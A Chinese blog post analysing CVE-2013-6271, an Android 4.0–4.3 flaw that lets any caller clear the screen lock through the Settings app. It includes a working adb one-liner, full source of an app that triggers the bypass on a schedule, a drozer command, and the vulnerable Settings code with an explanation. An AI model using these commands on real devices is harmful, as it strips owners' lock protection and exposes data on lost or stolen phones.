android绕过设备锁(device lock)

原创 2013年12月02日 21:50:23

听说这几天爆了一个No root no recovery 的device lock的漏洞。

来源:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/

受伤程度。

4.0 - vulnerable 
4.1 - vulnerable
4.2 - vulnerable
4.3 - vulnerable
4.4 - not vulnerable

 

 有兴趣的读者可以先看看:http://developer.android.com/guide/topics/admin/device-admin.html

 

1、测试

测试一下:先设置device pin:

只需要一行代码:  

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

device pin真的消失了。

 

有人也把这个功能封装到app里面了。无需adb了。

CRT-Removelocks.apk
CRT-Removelocks Source code

package com.curesec.android;

import android.app.IntentService;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;

public class RemoveLocks extends IntentService {
 
 public RemoveLocks() {
  super("RemoveLocks");
 }

 @Override
 protected void onHandleIntent(Intent intent) {
  removeLocks();
 }

 看懂这段就看懂了全部! 就是如何让锁消失的秘密!
 private void removeLocks() {
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric"));
  intent.putExtra("confirm_credentials", false);
  intent.putExtra("lockscreen.password_type",0);    //这就是那个PASSWORD_QUALITY_UNSPECIFIED The policy has no requirements for the password.


  intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(intent);
 }


 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

 

}

 

package com.curesec.android;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;
import android.widget.Toast;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
    
  Button buttonExecuteNow = (Button) findViewById(R.id.button1);
  Button buttonExecuteLater = (Button) findViewById(R.id.button2);
  TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
  tp.setIs24HourView(true);
  tp.setCurrentHour(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));
  
  buttonExecuteNow.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending);

    Toast t = Toast.makeText(getBaseContext(), "Removing lock now!", 5);
    t.show();   
   }
  }
  );
  
  buttonExecuteLater.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
    cal.set(Calendar.HOUR_OF_DAY, tp.getCurrentHour());
    cal.set(Calendar.MINUTE, tp.getCurrentMinute());
    cal.set(Calendar.SECOND, 0);
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending); 
   
    Toast t = Toast.makeText(getBaseContext(), "Removing lock at: "+tp.getCurrentHour()+":"+tp.getCurrentMinute(), 5);
    t.show();   
   }
  }
  );
  
  
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }

}

 

 

也可以使用drozer进行验证。drozer(原名Mercury)您不会不知道吧!

 

#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0
 
 

 

2、原因:

 

com.android.settings.ChooseLockGeneric class 用于让用户改变设备锁类型,比如是password, gesture and even face recognition ,当然修改前需要输入原来的密码(pin、图案等)

Lets examine the following code extracted from the class:

            // Defaults to needing to confirm credentials
            final boolean confirmCredentials = getActivity().getIntent()
                .getBooleanExtra(CONFIRM_CREDENTIALS, true);
            mPasswordConfirmed = !confirmCredentials;

            if (savedInstanceState != null) {
                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                updatePreferencesOrFinish();
                     }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                updateUnlockMethodAndFinish(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()
                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

            quality = upgradeQuality(quality, null);

            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength < MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength = mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. 
第一部分代码允许调用者设置改变设备锁类型前是否需要输入以前的设备所认证。
 
We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.

 

构造输入即可绕过。

Set the password quality

The password quality can be one of the following DevicePolicyManager constants:

PASSWORD_QUALITY_ALPHABETIC
The user must enter a password containing at least alphabetic (or other symbol) characters.
PASSWORD_QUALITY_ALPHANUMERIC
The user must enter a password containing at least both numeric and alphabetic (or other symbol) characters.
PASSWORD_QUALITY_NUMERIC
The user must enter a password containing at least numeric characters.
PASSWORD_QUALITY_SOMETHING
The policy requires some kind of password, but doesn't care what it is.
PASSWORD_QUALITY_UNSPECIFIED
The policy has no requirements for the password.

 

3、危害:

   1、如果丢了手机,pin起码有一定保护作用,如果用户开启了adb shell,那就可以被干掉pin了。

   2、4.2.2以后还有安全机制:adb认证。http://blog.csdn.net/u011069813/article/details/9198093 丢了手机,想执行adb好难哦!

名称:  捕获.PNG查看次数: 0文件大小:  33.6 KB

 3、被app执行该漏洞,清除了device pin!有啥后果呢? 没想好!

 

接下来我们系统分析一下设备锁的机制,以及还有哪些其它方法清除设备锁。

 

看完电影对device lock进行深入系统分析。

 

http://we.droidiser.com/viewtopic.php?f=21&t=29

http://en.miui.com/thread-5684-1-1.html

http://oscarmini.com/2013/09/locked-out-how-to-bypass-pattern-lock-on-any-android-device.html微笑

http://www.geeknaut.com/bypass-android-pattern-lock-09198931.html

http://forum.xda-developers.com/showthread.php?t=1722950

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=1646108

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=2437946

http://www.morethantechnical.com/2013/01/29/a-creative-way-to-bypass-pattern-lock-on-android/

AndroidICS4.0---->LockScreen锁屏流程【Android源码解析九】

先来说说LockScreen分类;        一、无锁屏;        二、锁屏:                1、UnLockScreen:                        图...
  • wdaming1986
  • wdaming1986
  • 2012年07月16日 22:47
  • 28177

Android系统设置settings应用学习(一)--允许未知来源应用安装

settings,是Android系统应用--设置的源代码,包名称为:com.android.settings  安全设置代码:SecuritySettings.java /* * Copy...
  • adayabetter
  • adayabetter
  • 2015年02月02日 14:02
  • 4266

【Android源码-AMS】(七) TaskPersister

com.android.server.am.TaskPersister类解析 TaskPersister负责近期任务的信息和截图保存到本地目录,在手机重启后会恢复保存的recent tasks。...
  • Nemo__
  • Nemo__
  • 2016年12月07日 18:27
  • 933

android绕过设备锁(device lock)

先准备素材,然后展开编写。听说这几天爆了一个device lock的漏洞。 http://we.droidiser.com/viewtopic.php?f=21&t=29 http://en.miui...
  • u011069813
  • u011069813
  • 2013年12月02日 21:50
  • 6371

js加密大全(防止客户端查看自己的js文件)

http://blog.csdn.net/aosnowasp/article/details/4305431   做网站最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的JAVASCRIPT代码常常...
  • u011069813
  • u011069813
  • 2013年12月14日 22:39
  • 3088

Android常见绕过屏锁小技巧汇总

安全是双刃剑,可以方便自己忘记密码时解锁,也有可能以为手机丢失泄露自己信息 首先各种屏锁都有其对应的编码方式,最终以二进制的形式(可能加密)存放在系统某个目录,一般位于目录/data/syste...
  • Xbalien29
  • Xbalien29
  • 2014年03月05日 17:37
  • 7171

代码浅析 Android Lock 、ReentrantLock线程锁及其作用

先来了解什么是“互斥锁”? 百度一下,解释如下:在编程中,引入了对象互斥锁的概念,来保证共享数据操作的完整性。每个对象都对应于一个可称为" 互斥锁" 的标记,这个标记用来保证在任一时刻,只能有一个线...
  • zy_style
  • zy_style
  • 2016年12月01日 17:17
  • 952

BgServ分析

2011年3月3日,Android官方应用市场上出现五十余款应用程序被植入恶意代码Trojan/Android.Rootcager(又名DroidDream)。Google随即清理了这些应用程序、删除...
  • u011069813
  • u011069813
  • 2013年07月13日 11:32
  • 1414

Android中三种锁的用法

一、synchronized 略   二、lock Lock是java.util.concurrent.locks包下的接口,Lock 实现提供了比使用synchronized 方法和语句可获...
  • boyupeng
  • boyupeng
  • 2015年09月02日 17:58
  • 6547
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:android绕过设备锁(device lock)
举报原因:
原因补充:

(最多只允许输入30个字)